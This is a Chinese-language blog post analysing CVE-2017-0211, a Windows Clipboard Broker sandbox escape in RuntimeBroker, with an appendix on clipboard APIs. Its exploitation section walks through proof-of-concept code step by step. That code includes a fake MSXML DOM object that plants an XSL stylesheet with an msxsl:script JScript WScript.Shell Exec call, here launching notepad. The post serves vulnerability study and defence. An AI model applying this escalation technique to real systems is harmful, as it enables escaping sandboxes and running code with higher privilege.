datetime: 2017.04.28

漏洞简介

随着沙箱技术的普及,现在主流的操作系统及软件都开始支持沙箱,以此来缓解层出不穷的远程代码执行漏洞对系统造成的危害。AppContainer是自Windows 8引入的沙箱技术,最新的UWP应用会强制启用AppContainner沙箱。
因此,Edge浏览器也使用AppContainner作为沙箱来最大限度保护系统安全。并且微软还为Edge浏览器加入了更多的缓解机制来进一步加强沙箱。

传统的沙箱逃逸往往借助内核漏洞等来实现权限提升,而Jame Forshaw发现的CVE-2017-0211则利用Windows Runtime的实现缺陷进行沙箱逃逸,最终实现权限提升。此漏洞的原理和利用过程都比较精妙,本文将对此漏洞的原理和利用方法进行分析。

漏洞原理

UWP应用是指使用WinRT API开发的Modern UI风格应用程序,WinRT API是微软自Win8引入的用于应用程序开发的组件集(Windows Runtime Components),它基于COM技术发展而来。在Windows 10上,WinRT组件被注册成Windows Runtime Class。这些运行时类的相关信息被注册在Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsRuntime中。所有的UWP应用都强制位于AppContainner沙箱中(Low Integrity),导致其权限受到限制,当其访问外部资源时都需要通过相应的Broker来进行操作。因此,有许多WinRT组件都位于RuntimeBroker.exe进程(Medium Integrity)中,来实现权限检查和代理操作。CVE-2017-0211便是由于Clipboard Broker的设计缺陷导致的权限提升漏洞。

WinRT剪切板访问的实现

在Windows系统中,COM接口提供了一种用于在不同的应用程序中交换数据(剪切板操作、拖拽操作)的机制,其核心是数据对象Data Object。数据对象Data Object用来代表任何实现了IDataObject接口的对象,基于需要的数据对象或应用场景,开发者可以在继承自IDataObject接口的Data Object中实现某些方法。
    WinRT API扩展自COM,因此其内部也使用IDataObject来操作剪切板,所不同的是UWP进程对剪切板的访问请求会被OLE32通过RPC转发至RuntimeBroker进行处理。同时,为了阻止UWP进程(Low Integrity)篡改其他进程设置的剪切板内容,ClipboardBroker还要对UWP进程的SetData行为进行限制。

基于以上目的,ClipboardBroker被设计成:
    • 当UWP进程(数据生产者)通过OleSetClipboard() 设置DataObject时,由ClipboardBroker充当代理将DataObject设置到剪切板中;
    • 当UWP进程(数据消费者)通过OleGetClipboard() 请求DataObject时,ClipboardBroker会返回一个封装对象(DataObject Wrapper——CClipDataObject)。并由ClipboardBroker来作为代理从数据源(数据生产者)请求数据。
    • 在封装对象CClipDataObject里,对SetData做过滤,阻止AppContainer进程设置其他进程DataObject中的数据,如下图所示

RuntimeBroker ClipboardBroker EoP-LMLPHP

漏洞成因

根据ClipboardBroker的实现,它并不返回原始的DataObject给UWP进程(数据消费者),取而代之的是一个封装对象。因此,对原始DataObject(数据生产者)的任何请求都将由高权限的ClipboardBroker代理发起。并且,IDataObject::GetDataHere 的输入参数STGMEDIUM要求由调用者申请,当它是一个Storage对象时,便可以被低权限的UWP进程使用。
    再结合UWP进程可以设置自定义的DataObject(通过OleSetClipboard()实现),导致攻击者可以重用这一系列功能最终实现权限提升。James Forshaw提供的POC的调用分析如下表所示(此表仅作为漏洞分析记录,请读者转到漏洞利用分析部分阅读)

漏洞利用

在这个场景下,漏洞利用过程将通过OleSetClipboard和OleGetClipboard同时扮演数据生产者和数据消费者,从而重用DataObject的功能。

创建自定义DataObject

MyDataObject继承自IDataObject,主要实现了EnumFormatEtc, GetDataHere两个方法。
    • EnumFormatEtc用来向数据消费者说明此DataObject支持哪些格式。由于之后要利用GetDataHere获取一个Storage对象,因此此处设置成TYMED_ISTORAGE存储媒介类型。
    • GetDataHere方法是漏洞利用的关键代码,主要完成:利用一个RuntimeBroker中的Storage对象实现任意代码执行。详细内容请见下一节。

设置DataObject

创建一个MyDataObject实例,使用它作为参数调用OleSetClipboard(_In_ LPDATAOBJECT pDataObj );  从而将此MyDataObject设置到剪切板中。
    这个过程主要涉及以下几个过程:
    • Ole32检测到当前进程在AppContainer中后,通过调用RuntimeBroker的CRuntimeBroker::GetClipboardBroker获取一个CClipboardBroker对象指针;并将CClipboardBroker对象指针保存在Tls线程局部存储区中。
    通过RPC调用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,将当前MyDataObject设置到剪切板中。
    • RuntimeBroker中的CClipboardBroker::SetClipboard被调用后,首先通过CoImpersonateClient() 模拟数据生产者的身份,打开并清空剪切板,设置关联到剪切板的窗口属性;然后将MyDataObject对象设置到剪切板,并通过RPC回调MyDataObject::EnumFormatEtc获取并设置剪切板格式,通过RPC回调MyDataObject::GetDataHere。最后通过CoRevertToSelf() 结束模拟。(注:由于存在CoImpersonateClient,因此在MyDataObject::GetDataHere的实现中,会通过_set_clipboard来判断OleSetClipboard是否已经完成)

获取DataObject Wapper

将MyDataObject设置到剪切板后,就可以再次扮演数据消费者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 从而获取MyDataObject的Wapper,对数据进行“消费“。
RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及对剪切板数据及格式的获取,对原始MyDataObject进行封装,最终会返回给数据消费者一个MyDataObject的Wapper——CClipDataObject。

代码执行

此时即可扮演数据消费者,调用IDataObject::GetData。这将导致RuntimeBroker中的ole32!CClipDataObject::GetData被调用,最终CClipDataObject::GetData会通过RPC回调至UWP进程中原始的MyDataObject::GetDataHere。由于GetDataHere的参数FORMATETC已经被指定为TYMED_ISTORAGE类型,因此STGMEDIUM参数将是一个在RuntimeBroker中创建的Storge对象指针。对IStorge的任何方法调用,都将通过RPC回调至RuntimeBroker中执行。
    在这里James Forshaw采用了一种非常精妙的利用方法,使用结构化存储对象Storage实现任意代码执行。下面将详细分析整个过程。

• 函数原型
        GetDataHere(
                /* [annotation][unique][in] */
                _In_  FORMATETC *pformatetc,
                /* [annotation][out][in] */
                _Inout_  STGMEDIUM *pmedium)

• 通过IStorage::CreateStorage利用RuntimeBroker中的Storage里创建一个新的可读可写的命名("TestStorage")存储对象——new_stg。相关代码如下:
        IStorage* stg = pmedium->pstg;
        IStorage* new_stg;
        stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);

• 实例化一个自定义的FakeClass类
    FakeClass类继承自IPersistStream接口,主要重载并实现了以下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
    其中,IPersist::GetClassID用来指示当前对象是一个XML DOM对象(FakeClass类将伪装成一个XML DOM对象);IPersistStream::Save用于后面通过PropertyBag来持久化FakeClass对象,保存Payload。
    注意,这里的Payload是一段XSL(Extensible Stylesheet Language)。相关代码如下:
        FakeClass* c = new FakeClass();
        
        virtual HRESULT STDMETHODCALLTYPE GetClassID(
            /* [out] */ __RPC__out CLSID *pClassID)
        {
            *pClassID = CLSID_MsXmlDomDocument6;
            return S_OK;
        }
        
        virtual HRESULT STDMETHODCALLTYPE Save(
                /* [unique][in] */ __RPC__in_opt IStream *pStm,
                /* [in] */ BOOL fClearDirty)
        {
            const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
            Check(pStm->Write(xml, strlen(xml), nullptr));
            return S_OK;
        }
        
        
    • 使用FakeClass对象指针来初始化一个_variant_t
    因为_variant_t重载了"=",所以variant_t v = c; 将导致使用FakeClass对象来初始化_variant_t:初始化_variant_t.vt为VT_UNKNOWN,_variant_t.punkVal为IPersistStream。相关代码如下:
        
        variant_t v = c;
        
        inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
        {
            _COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
        
            // Clear VARIANT (This will Release() any previous occupant)
            //
            Clear();
        
            V_VT(this) = VT_UNKNOWN;
            V_UNKNOWN(this) = pSrc;
        
            if (V_UNKNOWN(this) != NULL) {
                // Need the AddRef() as VariantClear() calls Release()
                //
                V_UNKNOWN(this)->AddRef();
            }
        
            return *this;
        }

• 持久化FakeClass(XML DOM对象)到new_stg中
    通过new_stg查询IPropertyBag接口,并调用IPropertyBag::Write方法,从而将名为"Hello"的VARIANT属性(FakeClass对象)写入PropertyBag。查阅微软文档发现,调用者可以让PropertyBag保存VARIANT结构外的其他类型的对象。当_variant_t.vt为VT_UNKNOWN时,PropertyBag会查询被保存对象的持久化接口(这里是IPersistStream)。随后调用IPersistMedium::GetClassID获取CLSID,将其保存到存储介质上。最后调用IPersistStream::Save方法(即FakeClass重载的Save),将数据写入PropertyBag。
    持久化操作完成后,调用IStorage::Commit提交针对根存储对象(即RuntimeBroker中的Storage)的改变。相关代码如下:
        
        WriteToPropertyBag(new_stg, L"Hello", v);
        new_stg->Commit(STGC_DEFAULT));
        new_stg->Release();
        new_stg = nullptr;
        
        HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Write(lpName, &v);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 当数据被提交到RuntimeBroker中的Storage后,再次利用IPropertyBag接口,将名为"Hello"的FakeClass对象(XML DOM对象)读取出来。
        variant_t v2;
        v2.vt = VT_UNKNOWN;
        ReadFromPropertyBag(new_stg, L"Hello", v2);
        
        HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
        
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Read(lpName, &v, nullptr);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 任意代码执行
    通过QueryInterface取回IXMLDOMDocument3接口指针。
    调用IXMLDOMDocument2::setProperty来设置DOM对象的AllowXsltScript属性,从而开启XSL 转换(Extensible Stylesheet Language Transform, XSLT)时“<msxsl:script>”标签的执行功能。
    一切就绪后,调用IXMLDOMNode::transformNode,执行这段XSL转换,最终导致“<msxsl:script>”标签中的JScript被执行。
        v2.punkVal->QueryInterface(&doc)
        variant_t true_var(true);
        doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
        bstr_t result;
        doc->transformNode(doc, result.GetAddress());

总结

整个漏洞原因和利用分析完毕后,可以看到此漏洞的关键点在于Clipboard Broker为了保护剪切板数据不被篡改,从而给原始的DataObject进行了封装。而这种封装将导致原始的DataObject永远不会被序列化到数据消费者进程空间内,使得对IDataObject的任何调用,都会由高权限的Clipboard Broker代理进行。因此,当原始的对象中存在敏感操作时,就可能会被攻击者所重用。最终造成权限提升。
    对于这个漏洞还需要注意的是,James Forshaw利用一个可控的Storage对象实现了代码执行。整个利用思路值得学习。

Reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1079

附录-剪切板小结

小结一下Desktop App和UWP App访问剪切板的方式。

普通应用如何访问剪切板

传统的桌面应用程序(Desktop App)可以通过两种方式访问剪切板:1. Win32 API;  2. Data Transfer Interfaces

Win32 API

写剪切板的一般步骤:
    1. OpenClipboard()
    2. EmptyClipboard()
    3. SetClipboardData(CF_TEXT,hClipboardData)
    4. CloseClipboard()

读剪切板的一般步骤:
    1. OpenClipboard()
    2. GetClipboardData(CF_TEXT)
    3. CloseClipboard()

https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex

Data Transfer Interfaces

Data Transfer Interfaces本身是Win32 API的封装,核心是IDataObject,在这个基础上通过剪切板实现了生产者和消费者的数据传输(剪切板数据交互、文件拖拽等功能)。下表列举了不同数据传输场景下需要使用的接口:

RuntimeBroker ClipboardBroker EoP-LMLPHP

写剪切板的一般步骤:
    1. Create IDataObject Instance
    2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
    3. OleFlushClipboard()

读剪切板的一般步骤:
    1. OleGetClipboard() to get the data-object pointer
    2. (RPC) IDataObject::EnumFormatEtc()
    3. (RPC) IDataObject::GetData

https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx

UWP如何访问剪切板

对于需要访问剪切板的UWP应用(UWP App/Modern App)来说,对应的WinRT API命名空间是Windows.ApplicationModel.DataTransfer。

写剪切板的一般步骤:
    1. 创建一个DataPackage对象
    2. 将数据设置到DataPackage 对象中
    3. 使用Clipboard:: SetContent(DataPackage content)将DataPackage对象包含的数据设置到剪切板中。

读剪切板的一般步骤:
    1. 调用Clipboard::GetContent()返回一个DataPackageView对象
    2. 通过DataPackageView的方法读取数据内容

数据又是如何写进剪切板的呢?逆向分析Clipboard:: SetContent的实现,其步骤如下图所示:

RuntimeBroker ClipboardBroker EoP-LMLPHP

1. 调用参数DataPackage的GetView方法,获取一个只读的DataPackageView对象。实际上DataPackageView对象是一个实现了IDataObject的Data Object。
    2. 将DataPackageView作为参数,调用OleSetClipboard(DataPackageView),最终RuntimeBroker中的CClipboardBroker会将数据写进剪切板

由上面的过程我们可以得到结论:Windows.ApplicationModel.DataTransfer实际上是Data Transfer Interfaces的封装,内部一样使用IDataObject实现剪切板访问或拖拽功能;

05-25 19:00